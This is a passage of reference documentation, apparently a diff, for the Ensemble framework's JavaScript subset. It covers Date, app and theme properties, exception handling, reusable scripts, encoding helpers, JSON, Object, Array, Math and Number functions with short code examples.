47 language tag that forces a specific locale to be used. If no locale is passed in, Ensemble will automatically use the user-detected locale. + +```js +var event = new Date('2023-11-02T17:07:35.053Z'); +var str = event.toLocaleTimeString(); + +// output: "5:07:35 PM" or "17:07:35" depending on the detected locale +console.log(str); + +// force es locale, outputing "17:07:35" +console.log(event.toLocaleTimeString("es")); + +``` + +### toLocaleString() +Returns the full date and time according to locale-specific conventions. +- locale (optional): A string with a BCP 47 language tag that forces a specific locale to be used. If no locale is passed in, Ensemble will automatically use the user-detected locale. + +```js +var event = new Date('2023-11-02T17:07:35.053Z'); + +// output "11/2/2023, 5:07:35 PM" or "2/11/2023, 17:07:35" depending on detected locale +console.log(event.toLocaleString()); + +// force a locale, outputing "2/11/2023, 17:07:35" +console.log(event.toLocaleString("es"); +``` + +### toString() +Returns the Date object as a human readable string. It does not support internationalized strings. +This string can be parsed back into the Date object using the parse() method + +Example: +```js +var date = new Date(); +var str = date.toString() +console.log(str); // Example output: "2023-11-02 17:03:32.094453" +``` +### valueOf() +Returns the primitive value of the Date object, which is the number of milliseconds since midnight of January 1, 1970 UTC. + +Example: +```js +var event = new Date('2023-11-02T17:07:35.053Z'); +var val = event.valueOf(); +console.log(val); // Example output: 1698947255053 +``` + +### setTime(timeValue) +Sets the Date object to the time represented by the number of milliseconds since January 1, 1970, 00:00:00 UTC. + +Example: +```js +var date = new Date(); +date.setTime(1622633347521); +console.log(date.toString()); // Example output: "Fri Jun 02 2022 12:49:07 GMT+0200 (Central European Summer Time)" +``` +### setDate() +Description: Sets the day of the month for a specified date according to local time. +Syntax: dateObj.setDate(dayValue) +Parameters: +dayValue: An integer from 1 to 31, representing the day of the month. +Example: +```js +var date = new Date(); +date.setDate(15); +``` +### setMonth() +Description: Sets the month for a specified date according to local time. +Syntax: dateObj.setMonth(monthValue) +Parameters: +monthValue: An integer from 0 (January) to 11 (December) representing the month. +Example: +```js +var date = new Date(); +date.setMonth(5); // Sets the month to June +``` +### setFullYear() +Description: Sets the full year for a specified date according to local time. +Syntax: dateObj.setFullYear(yearValue) +Parameters: +yearValue: An integer specifying the numeric value of the year, e.g., 1995. +Example: +```js +var date = new Date(); +date.setFullYear(2024); +``` +### setHours() +Description: Sets the hours for a specified date according to local time. +Syntax: dateObj.setHours(hoursValue) +Parameters: +hoursValue: An integer from 0 to 23, representing the hour. +Example: +```js +var date = new Date(); +date.setHours(13); +``` +### setMinutes() +Description: Sets the minutes for a specified date according to local time. +Syntax: dateObj.setMinutes(minutesValue) +Parameters: +minutesValue: An integer from 0 to 59, representing the minutes. +Example: +```js +var date = new Date(); +date.setMinutes(45); +``` +### setUTCDate() +Description: Sets the day of the month for a specified date according to UTC. +Syntax: dateObj.setUTCDate(dayValue) +Parameters: +dayValue: An integer from 1 to 31, representing the day of the month. +Example: +```js +var date = new Date(); +date.setUTCDate(15); +``` +### setUTCMonth() +Description: Sets the month for a specified date according to UTC. +Syntax: dateObj.setUTCMonth(monthValue) +Parameters: +monthValue: An integer from 0 (January) to 11 (December) representing the month. +Example: +```js +var date = new Date(); +date.setUTCMonth(5); // Sets the month to June +``` +### setUTCFullYear() +Description: Sets the full year for a specified date according to UTC. +Syntax: dateObj.setUTCFullYear(yearValue) +Parameters: +yearValue: An integer specifying the numeric value of the year, e.g., 1995. +Example: +```js +var date = new Date(); +date.setUTCFullYear(2024); +``` +### setUTCHours() +Description: Sets the hours for a specified date according to UTC. +Syntax: dateObj.setUTCHours(hoursValue) +Parameters: +hoursValue: An integer from 0 to 23, representing the hour. +Example: +```js +var date = new Date(); +date.setUTCHours(13); +``` +### setUTCMinutes() +Description: Sets the minutes for a specified date according to UTC. +Syntax: dateObj.setUTCMinutes(minutesValue) +Parameters: +minutesValue: An integer from 0 to 59, representing the minutes. +Example: +```js +var date = new Date(); +date.setUTCMinutes(45); +``` +### setUTCSeconds() +Description: Sets the seconds for a specified date according to UTC. +Syntax: dateObj.setUTCSeconds(secondsValue) +Parameters: +secondsValue: An integer from 0 to 59, representing the seconds. +Example: +```js +var date = new Date(); +date.setUTCSeconds(30); +``` +### setUTCMilliseconds() +Description: Sets the milliseconds for a specified date according to UTC. +Syntax: dateObj.setUTCMilliseconds(millisecondsValue) +Parameters: +millisecondsValue: An integer from 0 to 999, representing the milliseconds. +Example: +```js +var date = new Date(); +date.setUTCMilliseconds(500); +``` + +## UTC Methods +These methods are similar to their local-time counterparts but use UTC time instead of local time. +### getUTCFullYear() +Example: +```js +var date = new Date(); +var utcFullYear = date.getUTCFullYear(); +console.log(utcFullYear); // Example output: 2022 +``` +### getUTCMonth() +Example: +```js +var date = new Date(); +var utcMonth = date.getUTCMonth(); +console.log(utcMonth); // Example output: 5 (for June) +``` +### getUTCDate() +Example: +```js +var date = new Date(); +var utcDate = date.getUTCDate(); +console.log(utcDate); // Example output: 2 +``` +### getUTCHours() +Example: +```js +var date = new Date(); +var utcHours = date.getUTCHours(); +console.log(utcHours); // Example output: 10 +``` +### getUTCMinutes() +Example: +```js +var date = new Date(); +var utcMinutes = date.getUTCMinutes(); +console.log(utcMinutes); // Example output: 49 +``` +### getUTCSeconds() +Example: +```js +var date = new Date(); +var utcSeconds = date.getUTCSeconds(); +console.log(utcSeconds); // Example output: 7 +``` +### getUTCMilliseconds() +Example: +```js +var date = new Date(); +var utcMilliseconds = date.getUTCMilliseconds(); +console.log(utcMilliseconds); // Example output: 521 +``` +### getUTCDay() +Example: +```js +var date = new Date(); +var utcDay = date.getUTCDay(); +console.log(utcDay); // Example output: 4 (for Thursday) +``` +## Arithmatic Operations with Date +You can use a Date object as a primitive and add, subtract, multiply etc. as follows. +Example +```js +var date = new Date(2022, 5, 2, 10, 49, 7, 521); +var yesterday = date - 1000 * 60 * 60 * 24; // current date's milliseconds - 1,000 ms * 60 s * 60 mins * 24 hrs * (# of days beyond one to go back) +yesterday = new Date(yesterday); +console.log(yesterday); //Example output: 1 +``` + +--- + +# Ensemble Objects and their properties + +# The `app` object +`app` object provides app and theme configuration related properties and methods. +## Properties + +### baseUrl +Returns the `baseUrl` if one is specified in configuration. NOTE: `baseUrl` cannot be set and can only be retrieved. +```yaml +API: + myAPI: + url: ${app.baseUrl}/path/file.json +``` +or in js - +```js +var url = app.baseUrl; +``` +### useMockResponse +Sets or Returns the value of `useMockResponse`. See [this](https://docs.ensembleui.com/#/build/use-mock-api-response?id=mocking-api-responses-to-develop-and-test-your-app) for details on how to mock responses for your APIs during development or testing. +```js +app.useMockResponse = true; +var isInMockResponseMode = app.useMockResponse; //returns true +``` +### Theme +Sets or Returns the value of the current theme. See [this](#theme) for details on how themes work and how to set/get a theme. + +### Themes +Returns the current set of themes that were configured in the app. NOTE: you can only retrieve the list of pre-configured themes, you cannot add to the list or set the list to a different list. + +See [this](#checking-and-switching-themes-in-javascript) on how to configure multiple themes. + +**Example:** + +Bind the `themes` to a dropdown and let user switch themes from all the available themes. +```yaml + - Dropdown: + label: Pick a Theme + items: ${app.themes} + value: ${app.theme} + onChange: + executeCode: + body: | + app.theme = this.value; +``` +## Methods +### saveTheme +Saves the theme name passed as argument into the persistent storage. This theme is then automatically applied on the next re-launch of the app. See [this](#savings-themes-in-storage-so-they-can-be-applied-across-application-sessions) for details. + +### getSavedTheme +Retrieves the saved theme. See [this](#savings-themes-in-storage-so-they-can-be-applied-across-application-sessions) for details. + +### removeSavedTheme +Clear out the saved theme. See [this](#savings-themes-in-storage-so-they-can-be-applied-across-application-sessions) for details. + +--- + +# Exception Handling in Javascript + +Ensemble supports try/catch/finally in ES5 and the throw clause as well. In JavaScript ES5, the try/catch/finally structure, along with the throw statement, provides robust error-handling capabilities. These constructs allow developers to handle runtime errors gracefully, ensuring that code can respond to unexpected issues without crashing. + +The try block contains code that might throw an error, and if an error occurs, control immediately moves to the catch block, where the error can be handled. + +The finally block, which is optional, executes regardless of whether an error was caught, making it useful for cleanup tasks (like closing connections or freeing up resources). + +The throw statement allows you to generate custom errors by “throwing” an error that can be caught by catch. This is particularly useful for input validation and other scenarios where specific conditions need to be enforced. + +In the following example, the function `divide` is throwing an error that is then caught in the catch clause and a toast message is shown. + +```yaml +View: + styles: + useSafeArea: true + + # Optional - set the header for the screen + header: + titleText: Home + + # Specify the body of the screen + body: + Column: + styles: + padding: 24 + gap: 8 + children: + - Text: + text: Hi there! + - Button: + label: Checkout Ensemble Kitchen Sink + onTap: + executeCode: + body: |- + try { + console.log(divide(10, 0)); // Will throw an error + } catch (error) { + console.log("Caught an error: " + error.message); + var payload = { + message: error.message, + options: { + type: 'error', + duration: 3, + alignment: 'bottomRight' + } + }; + ensemble.showToast(payload); + } finally { + console.log("Execution completed."); + } + +Global: |- + // Javascript code + function divide(a, b) { + if (b === 0) { + throw new Error("Division by zero is not allowed"); // Custom error + //You can just throw a string as well as follows - + //throw "Division by zero is not allowed"; + } + return a / b; + } + +``` + +--- + +# Defining and Re-using Javascript Code + +There are two ways to re-use js code as follows - + +- `Global` block within a screen definition. This, despite its name, is limited to the screen it is defined in and cannot be referenced in other screens +- `Scripts` a script that is defined independent of a screen (see video below) may be used anywhere in the app by simply importing it. + +In both cases above, you can define javascript variables (only `var` is supported as this is ES5, see [here](#add-logic-using-javascript)) or functions. + +## Example of `Global` code block within a screen + +```yaml +View: + #your screen definition +Global: |- + //code block + function sum(a,b) { + return a + b; + } +``` + +## Example of re-usable `Script` defined outside a screen and imported in any screen or widget +A script defined outside a screen, however, can be imported on any screen or widget across the app by simply doing - + +```yaml +Import: + - myScript +``` +Watch the following video for how to define a js library and re-use it across the app + +## Demo + +
+ +--- + +- Let us know on our [Discord server](https://discord.gg/k4CJeuRc) if you need any of other capabilities +- or open a [ticket](https://github.com/EnsembleUI/ensemble/issues) + +For `parseInt`, `parseFloat`, see [String.tryParseInt](#string-functions) and [String.tryParseDouble](#string-functions) respectively. + +### console.log + +The `console.log()` function is used to print messages to the console. It can be used for debugging purposes or to display information. + +**Example:** + +```javascript +console.log("Hello, World!"); // Output: Hello, World! +``` + +### regexp.test + +The `regexp.test()` function is used to test if a given string matches a regular expression pattern. It returns `true` if the string matches the pattern, and `false` otherwise. + +**Example:** + +```javascript +var pattern = /hello/; +var str = "Hello, World!"; +console.log(pattern.test(str)); // Output: false +str = "hello, how are you?"; +console.log(pattern.test(str)); // Output: true +``` +### btoa + +The `btoa()` function is used to encode a string in base64 format. It takes a string as input and returns a base64 encoded string. + +**Example:** + +```javascript +var str = "Hello, World!"; +console.log(btoa(str)); // Output: SGVsbG8sIFdvcmxkIQ== +``` + +### atob + +The `atob()` function is used to decode a base64 encoded string. It takes a base64 encoded string as input and returns the decoded string. + +**Example:** + +```javascript +var base64Str = "SGVsbG8sIFdvcmxkIQ=="; +console.log(atob(base64Str)); // Output: Hello, World! +``` +### encodeURIComponent +The `encodeURIComponent(str)` function encodes a URI component by escaping all characters except alphabetic characters, decimal digits, and a few special characters (-, _, ., !, ~, *, ', (, )). It is used to encode the values of query string parameters to ensure special characters do not interfere with the way the URI is interpreted by browsers and servers. For example, it encodes spaces as %20 and = as %3D. +[Detailed documentation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/encodeURIComponent) + +**Example:** +```javascript +var myParam = 'This & That'; +var encodedParam = encodeURIComponent(myParam); +console.log(encodedParam); // Outputs: This%20%26%20That +``` +### decodeURIComponent +`decodeURIComponent(str)` function decodes a URI component previously created by encodeURIComponent or by a similar routine. It reverses the encoding process by replacing percent-encoded characters with their corresponding ASCII characters. +[Detailed documentation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/decodeURIComponent) + +**Example:** +```javascript +var decodedParam = decodeURIComponent(encodedParam); +console.log(decodedParam); // Outputs: This & That +``` + +### encodeURI +`encodeURI(uri)`: Unlike encodeURIComponent, this function is intended to encode a complete URI without escaping characters that have special meanings in URIs (like :, /, ?, &, =). It encodes the necessary components of the URI to make it safe for transmission by escaping all characters except those considered safe. +[Detailed documentation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/encodeURI) + +**Example:** +```javascript +var uri = 'https://mozilla.org/?x=шеллы'; +var encoded = encodeURI(uri); +console.log(encoded); +// Expected output: "https://mozilla.org/?x=%D1%88%D0%B5%D0%BB%D0%BB%D1%8B" +``` + +### decodeURI +`decodeURI(encodedURI)`: This function is used to decode a URI that was previously encoded using encodeURI. It decodes the entire URI but will not decode characters that are part of the URI syntax itself (like ? and # in query strings and fragments). +[Detailed documentation](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/decodeURI) + +**Example:** +```javascript +var uri = 'https://mozilla.org/?x=шеллы'; +var encoded = encodeURI(uri); +console.log(encoded); +// Expected output: "https://mozilla.org/?x=%D1%88%D0%B5%D0%BB%D0%BB%D1%8B" + +console.log(decodeURI(encoded)); +// Expected output: "https://mozilla.org/?x=шеллы" + +``` + +--- + +# JSON +Ensemble Javascript provides two key methods to deal with the JSON objects. + +## Methods +### parse() +The JSON.parse() static method parses a JSON string, constructing the JavaScript object described by the string. + +#### Returns +Returns a Javascript object + +Example - +```js +const json = '{"result":true, "count":42}'; +const obj = JSON.parse(json); + +console.log(obj.count); +// Expected output: 42 + +console.log(obj.result); +// Expected output: true +``` +### stringify() +The JSON.stringify() static method converts a JavaScript value to a JSON string. + +Types that are directly converted to json strings - string, number, array, object (map), boolean and date. Date objects are converted to string by calling the [toISOString()](#toisostring) method. + +#### Returns +Returns a string representing the json object + +Example - +```js +console.log(JSON.stringify({ x: 5, y: 6 })); +// Expected output: '{"x":5,"y":6}' +``` + +--- + +# JsonPath + +TBD + +--- + +# Object +Any property of a javascript object may be accessed using either the parenthesis `['propname']` or the dot `myObj.propname`. + +- It the property does not exist on the object, it will return null. Exception will *not* be thrown. +- Let us know on our [Discord server](https://discord.gg/k4CJeuRc) if you need any of other capabilities +- or open a [ticket](https://github.com/EnsembleUI/ensemble/issues) + +## Constructor + +```js +var obj = {a: 1, b: 'abc'};//creates a new object with properties a and b +var obj2 = new Object(); //creates a new empty object +obj2['a'] = 1; //adds property a to the object +obj2['b'] = 'abc'; +``` + +## Static Methods +### Object.keys(value) +See Object.keys in javascript. Returns an array of a given object's own enumerable property names. + +Example - +```js +var result = Object.keys({a: 1, b: 2, c: 3}); +// result: ['a', 'b', 'c'] +``` +### Object.values(value) +See Object.values in javascript. Returns an array of a given object's own enumerable property values. +Example - +```js +var result = Object.values({a: 1, b: 2, c: 3}); +// result: [1, 2, 3] +``` +### Object.entries(value) +See Object.entries in javascript. Returns an array of a given object's own enumerable property [key, value] pairs. +Example - +```js +var result = Object.entries({a: 1, b: 2, c: 3}); +// result: [['a', 1], ['b', 2], ['c', 3]] +``` + +### hasOwnProperty(value, key) + +Checks if the provided key exists as an own property of the object. + +Example - +```js +var obj = { a: 1, b: 2 }; +var result = hasOwnProperty(obj, 'a'); +// result: true +``` + +### getPropertyNames(value) + +Retrieves an array of all enumerable property names (keys) of the object. + +Example - +```js +var obj = { a: 1, b: 2, c: 3 }; +var result = getPropertyNames(obj); +// result: ['a', 'b', 'c'] +``` + +### toString(value) + +Converts the value to a string representation. + +Example - + +```js +var obj = { a: 1, b: 2 }; +var result = toString(obj); +// result: '[object Object]' +``` + +### toJSON(value) + +Converts the value into a JSON string. Works with objects, arrays, or other types. + +Example - +```js +var obj = { a: 1, b: 2 }; +var result = toJSON(obj); +// result: '{"a":1,"b":2}' +``` + +### defineProperty(value, key, property) + +Defines a new property on the object or updates an existing one. If the value is not an object, this function does nothing. + +Example - +```js +var obj = { a: 1 }; +var result = defineProperty(obj, 'b', 2); +// result: { a: 1, b: 2 } +``` + +### deleteProperty(value, key) + +Deletes the specified property from the object. If the key does not exist, it does nothing. + +Example - +```js +var obj = { a: 1, b: 2 }; +var result = deleteProperty(obj, 'b'); +// result: { a: 1 } +``` + +### has(value, key) + +Checks if the specified key exists in the object. Works like hasOwnProperty. + +Example - +```js +var obj = { a: 1, b: 2 }; +var result = has(obj, 'b'); +// result: true +``` + +### propertyIsEnumerable(value, key) + +Checks if the given property key is enumerable in the object. + +Example - +```js +var obj = { a: 1, b: 2 }; +var result = propertyIsEnumerable(obj, 'a'); +// result: true +``` + +## Instance Methods +### keys() +Just like the Object.keys() method in javascript. Returns an array containing the keys (propery names) of an object. + +#### Returns +Returns an array containing the keys (propery names) of an object. + +Example - +```js +var headers = {}; +headers['abc'] = 'xyz'; +headers['def'] = 123; +headers['ghi'] = '456'; +var keys = headers.keys(); +keys.forEach(function(key) { + console.log(key + ':' + headers[key]); +}); +/* outputs +abc:xyz +def:123 +ghi:456 +*/ +``` +### values() +Just like the Object.values() method in javascript. Returns an array containing the values (propery values) of an object. + +#### Returns +Returns an array containing the values (propery values) of an object. + +Example - +```js +var headers = {}; +headers['abc'] = 'xyz'; +headers['def'] = 123; +headers['ghi'] = '456'; +headers.values().forEach(function(val) { + console.log(val); +}); +/* outputs +xyz +123 +456 +*/ +``` +### entries() +Just like the Object.entries() method in javascript. Returns an array containing the entries of an object where each entry is an object - {key:,value:} + +#### Returns +Returns an array containing the values (propery values) of an object. + +Example - +```js +var headers = {}; +headers['abc'] = 'xyz'; +headers['def'] = 123; +headers['ghi'] = '456'; +headers.entries().forEach(function(entry) { + console.log(entry.key + ':' + entry.value); +}); +/* outputs +abc:xyz +def:123 +ghi:456 +*/ +``` +### path(jsonPath,mapFunction) +The `path` method is a function that takes a JSON path as a string and an optional mapping function as arguments. The function traverses the object using the provided path and returns a list of the values found at that path. + +The optional mapFunction argument is a function that transforms the values found at the JSON path. If a mapFunction is provided, it is applied to each value found at the path. + +#### Parameters +jsonPath (String): The JSON path at which to look for values.
+mapFunction (Function, optional): A function to transform the values found at the path. This function is called with one argument: a list containing the current value. Pass `null` if not needed + +#### Returns +A list of values found at the specified JSON path. If mapFunction is provided, the list will contain the transformed values. + +Example - +```js +var obj = { + 'name': 'John', + 'age': 30, + 'city': 'New York' +}; + +var result = obj.path('$.name', (val) => val[0].toUpperCase()); +console.log(result); // Outputs: ["J"] +``` +# Array +Arrays behave exactly as they would in regular javascript. You can access an item in the array with the index e.g. `myArray[0]` +- Let us know on our [Discord server](https://discord.gg/k4CJeuRc) if you need any of other capabilities +- or open a [ticket](https://github.com/EnsembleUI/ensemble/issues) + +## Properties +### length +Returns the length of the array. Works exactly like the javascript arrays. + +**Example:** + +```javascript +var numbers = [1, 4, 9]; +console.log(roots.length); // 3 +``` + +## Methods +### map + +The `map()` method creates a new array populated with the results of calling a provided function on every element in the calling array. + +**Parameters:** + +- `callback`: Function that produces an element of the new array, taking two arguments: + - `currentValue`: The current element being processed in the array. + - `index`: The index of the current element being processed in the array. + +**Return value:** + +A new array with each element being the result of the callback function. + +**Example:** + +```javascript +var numbers = [1, 4, 9]; +var squares = numbers.map(function(num, index) { + return num * num; +}); +console.log(squares); // [1, 16, 81] +``` + +### forEach + +Executes a provided function once for each array element. + +**Parameters:** + +- `callback`: Function to execute on each element, taking two arguments: + - `currentValue`: The current element being processed. + - `index`: The index of the current element being processed. + +**Return value:** + +`undefined`. + +**Example:** + +```javascript +var numbers = [1, 2, 3]; +numbers.forEach(function(num, index) { + console.log('Number:', num, 'at index:', index); +}); +``` + +### reduce + +The `reduce()` method executes a reducer function on each element of the array, resulting in a single output value. + +**Parameters:** + +- `callback`: A function to execute on each element in the array (except for the first, if no initialValue is provided), taking four arguments: + - `accumulator`: The accumulator accumulates the callback's return values. + - `currentValue`: The current element being processed. +- `initialValue` (optional): A value to use as the first argument to the first call of the callback. + +**Return value:** + +The single value that results from the reduction. + +**Example:** + +```javascript +var numbers = [1, 2, 3, 4]; +var sum = numbers.reduce(function(total, num) { + return total + num; +}, 0); +console.log(sum); // 10 +``` + +### indexOf + +Returns the first index at which a given element can be found in the array, or -1 if it is not present. + +**Parameters:** + +- `searchElement`: The element to locate in the array. + +**Return value:** + +The first index of the element in the array; -1 if not found. + +**Example:** + +```javascript +var fruits = ['apple', 'banana', 'cantaloupe', 'blueberry']; +var index = fruits.indexOf('banana'); +console.log(index); // 1 +``` + +### join + +Joins all elements of an array into a string. + +**Parameters:** + +- `separator` (optional): Specifies a string to separate each pair of adjacent elements of the array. The separator is converted to a string if necessary. If omitted, the array elements are separated with a comma. + +**Return value:** + +A string with all array elements joined. + +**Example:** + +```javascript +var elements = ['Fire', 'Air', 'Water']; +console.log(elements.join()); // "Fire,Air,Water" +console.log(elements.join('')); // "FireAirWater" +console.log(elements.join('-')); // "Fire-Air-Water" +``` + +### pop + +Removes the last element from an array and returns that element. This method changes the length of the array. + +**Parameters:** + +None. + +**Return value:** + +The removed element from the array; `undefined` if the array is empty. + +**Example:** + +```javascript +var plants = ['broccoli', 'cauliflower', 'cabbage', 'kale', 'tomato']; +console.log(plants.pop()); // "tomato" +console.log(plants); // ["broccoli", "cauliflower", "cabbage", "kale"] +``` + +### push + +Adds one or more elements to the end of an array and returns the new length of the array. + +**Parameters:** + +- `elementN`: The elements to add to the end of the array. + +**Return value:** + +The new length of the array. + +**Example:** + +```javascript +var animals = ['pigs', 'goats', 'sheep']; +var count = animals.push('cows'); +console.log(count); // 4 +console.log(animals); // ["pigs", "goats", "sheep", "cows"] +``` + +### slice + +The `slice()` method returns a shallow copy of a portion of an array into a new array object selected from `start` to `end` (end not included) where `start` and `end` represent the index of items in that array. The original array will not be modified. + +**Parameters:** + +- `start`: Zero-based index at which to start extraction. +- `end` (optional): Zero-based index before which to end extraction. The slice extracts up to but not including `end`. + +**Return value:** + +A new array containing the extracted elements. + +**Example:** + +```javascript +var fruits = ['Banana', 'Orange', 'Lemon', 'Apple', 'Mango']; +var citrus = fruits.slice(1, 3); +console.log(citrus); // ['Orange', 'Lemon'] +``` + +### some + +The `some()` method tests whether at least one element in the array passes the test implemented by the provided function. It returns a Boolean value. + +**Parameters:** + +- `callback`: Function to test for each element, taking one argument: + - `currentValue`: The current element being processed in the array. + +**Return value:** + +`true` if the callback function returns a truthy value for any array element; otherwise, `false`. + +**Example:** + +```javascript +var array = [1, 2, 3, 4, 5]; +var even = function(element) { + return element % 2 === 0; +}; +console.log(array.some(even)); // true +``` + +### every + +The `every()` method tests whether all elements in the array pass the test implemented by the provided function. It returns a Boolean value. + +**Parameters:** + +- `callback`: Function to test for each element, taking one argument: + - `currentValue`: The current element being processed in the array. + +**Return value:** + +`true` if the callback function returns a truthy value for every array element; otherwise, `false`. + +**Example:** + +```javascript +var isBelowThreshold = function(currentValue) { + return currentValue < 40; +}; +var array = [1, 30, 39, 29, 10, 13]; +console.log(array.every(isBelowThreshold)); // true +``` + +### findIndex + +The `findIndex()` method returns the index of the first element in the array that satisfies the provided testing function. Otherwise, it returns -1, indicating that no element passed the test. + +**Parameters:** + +- `callback`: Function to execute on each value in the array, taking one argument: + - `currentValue`: The current element being processed. + +**Return value:** + +The index of the first element in the array that passes the test; otherwise, -1. + +**Example:** + +```javascript +var array = [5, 12, 8, 130, 44]; +var isLargeNumber = function(element) { + return element > 13; +}; +console.log(array.findIndex(isLargeNumber)); // 3 +``` + +### fill + +The `fill()` method changes all elements in an array to a static value, from a start index (default zero) to an end index (default array.length). It returns the modified array. + +**Parameters:** + +- `value`: Value to fill the array with. +- `start` (optional): Start index, default 0. +- `end` (optional): End index, default array length. + +**Return value:** + +The modified array. + +**Example:** + +```javascript +var array = [1, 2, 3, 4]; +console.log(array.fill(0, 2, 4)); // [1, 2, 0, 0] +console.log(array.fill(5, 1)); // [1, 5, 5, 5] +console.log(array.fill(6)); // [6, 6, 6, 6] +``` + +### shift + +The `shift()` method removes the first element from an array and returns that removed element. This method changes the length of the array. + +**Parameters:** + +None. + +**Return value:** + +The removed element from the array; `null` if the array is empty. + +**Example:** + +```javascript +var myFish = ['angel', 'clown', 'mandarin', 'surgeon']; +console.log('Before:', JSON.stringify(myFish)); +var shifted = myFish.shift(); +console.log('After:', JSON.stringify(myFish)); +console.log('Removed:', shifted); +// Before: ["angel", "clown", "mandarin", "surgeon"] +// After: ["clown", "mandarin", "surgeon"] +// Removed: angel +``` + +### unshift + +The `unshift()` method adds one or more elements to the beginning of an array and returns the new length of the array. + +**Parameters:** + +- `...elements`: The elements to add to the front of the array. + +**Return value:** + +The new length of the array. + +**Example:** + +```javascript +var myArray = [1, 2, 3]; +console.log(myArray.unshift(4, 5)); // 5 +console.log(myArray); // [4, 5, 1, 2, 3] +``` + +### splice + +The `splice()` method changes the contents of an array by removing or replacing existing elements and/or adding new elements in place. + +**Parameters:** + +- `start`: The index at which to start changing the array. +- `deleteCount`: The number of elements in the array to remove from `start`. +- `...items`: The elements to add to the array, beginning from `start`. + +**Return value:** + +An array containing the deleted elements. + +**Example:** + +```javascript +var myFish = ['angel', 'clown', 'drum', 'mandarin', 'sturgeon']; +var removed = myFish.splice(3, 2); +console.log(myFish); // ["angel", "clown", "drum"] +console.log(removed); // ["mandarin", "sturgeon"] +``` + +### find + +The `find()` method returns the value of the first element in the provided array that satisfies the provided testing function. If no values satisfy the testing function, `-1` is returned. + +**Parameters:** + +- `callback`: A function to execute on each value in the array until the function returns true, indicating that the satisfying element was found. + +**Return value:** + +The first element in the array that passes the test; `-1` if no elements pass the test. + +**Example:** + +```javascript +var array = [5, 12, 8, 130, 44]; +var found = array.find(function(element) { + return element > 10; +}); +console.log(found); // 12 +``` + +### includes + +The `includes()` method determines whether an array includes a certain value among its entries, returning true or false as appropriate. + +**Parameters:** + +- `searchElement`: The element to search for. + +**Return value:** + +`true` if the array includes the element, and `false` otherwise. + +**Example:** + +```javascript +var array = [1, 2, 3]; +console.log(array.includes(2)); // true +console.log(array.includes(4)); // false +``` + +--- + +# JavaScript Math +Provides most of the functions exposed by the [Math library](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Math) in JS. + +1. **Math.floor()**: + - Returns the largest integer less than or equal to a given number. + ```javascript + console.log(Math.floor(4.7)); // Output: 4 + ``` + +2. **Math.abs()**: + - Returns the absolute value of a number. + ```javascript + console.log(Math.abs(-4.7)); // Output: 4.7 + ``` + +3. **Math.ceil()**: + - Returns the smallest integer greater than or equal to a given number. + ```javascript + console.log(Math.ceil(4.4)); // Output: 5 + ``` + +4. **Math.round()**: + - Rounds a number to the nearest integer. + ```javascript + console.log(Math.round(4.4)); // Output: 4 + ``` + +5. **Math.trunc()**: + - Truncates the decimal part of a number, returning the integer part. + ```javascript + console.log(Math.trunc(4.7)); // Output: 4 + ``` + +6. **Math.log()**: + - Returns the natural logarithm (base e) of a number. + ```javascript + console.log(Math.log(10)); // Output: 2.302585092994046 + ``` + +7. **Math.pow()**: + - Returns the base to the exponent power. + ```javascript + console.log(Math.pow(2, 3)); // Output: 8 + ``` + +8. **Math.acos()**: + - Returns the arccosine (in radians) of a number. + ```javascript + console.log(Math.acos(0.5)); // Output: 1.0471975511965979 + ``` + +9. **Math.asin()**: + - Returns the arcsine (in radians) of a number. + ```javascript + console.log(Math.asin(0.5)); // Output: 0.5235987755982989 + ``` + +10. **Math.atan()**: + - Returns the arctangent (in radians) of a number. + ```javascript + console.log(Math.atan(1)); // Output: 0.7853981633974483 + ``` + +11. **Math.atan2()**: + - Returns the arctangent of the quotient of its arguments. + ```javascript + console.log(Math.atan2(1, 1)); // Output: 0.7853981633974483 + ``` + +12. **Math.cos()**: + - Returns the cosine of a number. + ```javascript + console.log(Math.cos(0)); // Output: 1 + ``` + +13. **Math.exp()**: + - Returns e^x, where x is the argument. + ```javascript + console.log(Math.exp(1)); // Output: 2.718281828459045 + ``` + +14. **Math.max()**: + - Returns the largest of zero or more numbers. + ```javascript + console.log(Math.max(10, 20)); // Output: 20 + ``` + +15. **Math.min()**: + - Returns the smallest of zero or more numbers. + ```javascript + console.log(Math.min(10, 20)); // Output: 10 + ``` + +16. **Math.sin()**: + - Returns the sine of a number. + ```javascript + console.log(Math.sin(0)); // Output: 0 + ``` + +17. **Math.sqrt()**: + - Returns the square root of a number. + ```javascript + console.log(Math.sqrt(9)); // Output: 3 + ``` + +18. **Math.tan()**: + - Returns the tangent of a number. + ```javascript + console.log(Math.tan(0)); // Output: 0 + ``` + +19. **Math.random()**: + - Returns a random number between 0 and 1. + ```javascript + console.log(Math.random()); // Output: a random number between 0 and 1 + ``` + +Each of these functions can be called using the `Math` object followed by the function name and the necessary arguments enclosed in parentheses. + +--- + +# Number Functions + +This document covers JavaScript Number functions available in Ensemble with examples. Each function is briefly explained and followed by an example demonstrating its usage. + +### toFixed + +The `toFixed()` method in JavaScript is used to format a number using fixed-point notation. It takes one argument, which is the number of digits to appear after the decimal point. The method returns a string representation of the number with the specified number of decimal places. + +**Syntax:** + +```javascript +numObj.toFixed(digits); +``` + +**Parameters:** + +- `digits`: An integer specifying the number of digits to appear after the decimal point. This is required unlike in js where it is optional. + +**Example:** + +```javascript +var num = 123.456; +var fixedNum = num.toFixed(2); + +console.log(fixedNum); // Output: "123.46" +``` + +In this example, the `toFixed()` method is called on the `num` variable with the argument `2`. This means that the number will be formatted with two decimal places. The result is the string `"123.46"`. + +--- + +### toString + +The `toString()` method in JavaScript is used to convert a number to a string. It can also be used to represent the number in a different base (radix) by providing an optional argument. + +**Syntax:** + +```javascript +numObj.toString([radix]); +``` + +**Parameters:** + +- `radix` (Optional): An integer between 2 and 36 that represents the base to use for representing numeric values. The default value is 10. + +**Example:** + +```javascript +var num = 42; +var numStr = num.toString(); +var numStrInBase16 = num.toString(16); + +console.log(numStr); // Output: "42" +console.log(numStrInBase16); // Output: "2a" +``` + +In this example, the `toString()` method is called on the `num` variable without any arguments, which means that the number will be converted to a string in base 10 (decimal). The result is the string `"42"`. + +The `toString()` method is then called again on the `num` variable, but this time with the argument `16`. This means that the number will be converted to a string in base 16 (hexadecimal). The result is the string `"2a"`. + +--- + +# String Functions + +This document covers 